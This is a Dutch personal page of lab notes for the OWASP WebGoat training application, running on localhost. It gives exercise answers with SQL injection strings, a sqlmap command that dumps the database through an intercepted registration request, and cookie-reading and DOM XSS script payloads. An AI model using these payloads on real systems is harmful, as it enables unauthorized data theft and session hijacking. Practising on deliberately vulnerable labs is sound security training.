Webgoat
- Webgoat setup
- A1 - Injection
- A2 - Broken Authentication
- A3 - Sensitive Data Exposure
- A4 - XML External Entities (XXE)
- A5 - Broken Access Control
- A7 - Cross-Site Scripting (XSS)
- A8 - Insecure Deserialization
- A9 - Vulnerable Components
- A8:2013 - Request Forgeries
- Client Side
- Challenges
- Links
Webgoat setup
Ga naar
de github site voor WebGoat, en download
webgoat-server-version.jar
Doe dan in Kali:
java -jar webgoat-server-version.jar --server.port=9090
Toen ik Webgoat versie 8.2.2 probeerde kreeg ik deze melding:
Exception in thread "main" java.lang.UnsupportedClassVersionError:
org/owasp/webgoat/StartWebGoat has been compiled by a more recent version
of the Java Runtime (class file version 59.0), this version of the
Java Runtime only recognizes class file versions up to 55.0
Kennelijk is mijn versie van Java Runtime
niet up-to-date.
Als ik versie 8.1.0 probeer gaat het wel goed.
Tik in de browser:
http://localhost:9090/WebGoat
.
Je kan dan zelf een user en password kiezen.
A1 - Injection
- Injection (Intro)
- Injection (Advanced)
- Injection (Mitigation)
- Path Traversal
Injection (Intro)
Gebaseerd op Webgoat 8.1.0.
Ex. 2
select department from employees where first_name = 'Bob' and last_name = '
Franco'
Ex. 3
update employees set department = 'Sales' where first_name = 'Tobi' and
last_name = 'Barnett';
Ex. 4
alter table employees add column "phone" varchar(20);
grant alter table to UnauthorizedUser;
Ex. 9
Lijkt op ex. 7 in cursus van Jesse Kuros.
Kies in 1e veld Smith'
, in 2e veld
or
en in 3e veld
'1'='1
Opdracht 10
Lijkt op ex. 8 in cursus van Jesse Kuros.
Query is
"SELECT * FROM user_data WHERE login_count = " +
Login_Count + " AND userid = " + User_ID;
Vul in het 1e veld een willekeurig getal in (5 werkt in elk geval), en in
het 2e bv. 12345 or 1=1
Ex. 11
Ex. 12
Ex. 13
Injection (Advanced)
Ex. 3
Je hebt 2 tabellen:
CREATE TABLE user_data (userid int not null,
first_name varchar(20),
last_name varchar(20),
cc_number varchar(30),
cc_type varchar(10),
cookie varchar(20),
login_count int);
en
CREATE TABLE user_system_data (userid int not null primary key,
user_name varchar(12),
password varchar(10),
cookie varchar(30));
Je moet alle gegevens uit de 2e tabel halen, en Dave's password achterhalen. Moeilijk volgens Kuros.
Ex. 5
Ook ex. 5 bij Kuros.
Klik op REGISTER
.
Zorg ervoor dat in Burp
intercept aan staat.
Zet wat willekeurig strings in het formulier.
Na onderschepping selecteer je alle tekst in het Raw
tabblad, en na rechtsklikken selecteer Copy to file
.
Het ziet er bv. zo uit:
PUT /WebGoat/SqlInjectionAdvanced/challenge HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:9090/WebGoat/start.mvc
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 84
Connection: close
Cookie: JSESSIONID=SCwwi7oh6ReJnzk6Wd1Xhas3Qrxdy38X10ftU8XB
username_reg=test4&email_reg=t%40t.com&password_reg=test4&confirm_password_reg=test4
In de raw data zie je onderaan: username_reg=test4
.
Vervolgens drop je het packet, en zet je intercept uit.
Ga nu naar Kali, en tik:
sqlmap -r saved_file -p username_reg --dump
Vragen:
How do you want to proceed (antwoord: Continue
)
Is it recommended to perform only basic UNION tests... (antwoord:
Yes
)
Er komen 2 payloads uit, en hij gebruikt de 'time-based blind'.
Kopiëer de hele tekst achter payload, en zet intercept weer aan.
Ga weer naar de registratiepagina, en voer dezelfde gegevens in als eerder.
Vervang nu de laatste regel in de raw data door de payload.
Klik rechts, en klik op Send to Repeater
.
Dan drop packet en intercept uit.
Klik op tabblad Repeater
, en dan op
Go
.
In de response zie je nu "lessonCompleted" : true
Injection (Mitigation)
Path Traversal
A2 - Broken Authentication
- Authentication Bypasses
- JWT Tokens
- Password Reset
- Secure Passwords
A3 - Sensitive Data Exposure
- Insecure Login
A4 - XML External Entities (XXE)
- XXE
A5 - Broken Access Control
- Insecure Direct Object References
- Missing Function Level Access Control
A7 - Cross-Site Scripting (XSS)
XSS
Ex. 2
Zie Kuros
Open 2 tabbladen met dezelfde URL, en voer dan in de adresbalk dit in:
javascript:alert(document.cookie);
Bij mij lukt dit niet.
Ik kan wel gaan naar de menu's Tools -
Web Developer - Web Console
, en daar het commando (zonder
'javascript:') in te tikken.
De cookies zijn hetzelfde.
Ex. 7
Zie Kuros.
Je gaat eerst in alle 6 velden 1 voor 1 het alert commando invoeren. Het veld met credit card nummer blijkt vulnerable.
Open Burp, met intercepting aan.
Je laat het Javascript in het credit card veld staan,
selecteert de 1e regel uit het raw packet, en rechtsklikt op
Copy URL
.
Zet intercepting uit.
Open een nieuw tabblad in de browser, en plak de URL erin. Het ziet er nu iets anders uit, maar dit is hoe een reflected XSS werkt.
Ex. 10
Zie Kuros.
Vul eerst start.mvc#test
in.
Je krijgt als antwoord:
Check the GoatRouter.js file
Als je een '/' toevoegt achter 'test' gaat het wel goed.
Ex. 11
Zie Kuros.
Je probeert dit in de URL te zetten:
http://localhost:9090/WebGoat/start.mvc#test/<script>alert('DOM XSS works')
<%2Fscript>
, en het werkt.
Open een nieuw tabblad, zet intercepting aan in Burp, en voer de
volgende URL in:
http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome();
<%2Fscript>
Je moet in Burp een aantal keren op Forward
klikken.
Je gaat naar HTTP History
, en kijkt naar het
POST
request.
In de laatste regel van het tabblad zie je
phoneHome Response is 2034624015
.
Dat getal vul je in.
Ex. 13
Zie Kuros.
Zit niet in mijn WebGoat.
A8 - Insecure Deserialization
- Insecure Deserialization
A9 - Vulnerable Components
- Vulnerable Components
A8:2013 - Request Forgeries
- Cross-Site Request Forgeries
- Server-Side Request Forgery
Client Side
- Bypass Front-End Restrictions
- Client Side Filtering
- HTML Tampering
Challenges
- Admin Lost Password
- Without Password
- Admin Password Reset
- Without Account
Links
Reageer via E-mail (dalmolen@xs4all.nl)
Deze pagina is voor het laatst gewijzigd op: 12-02-23 18:00:54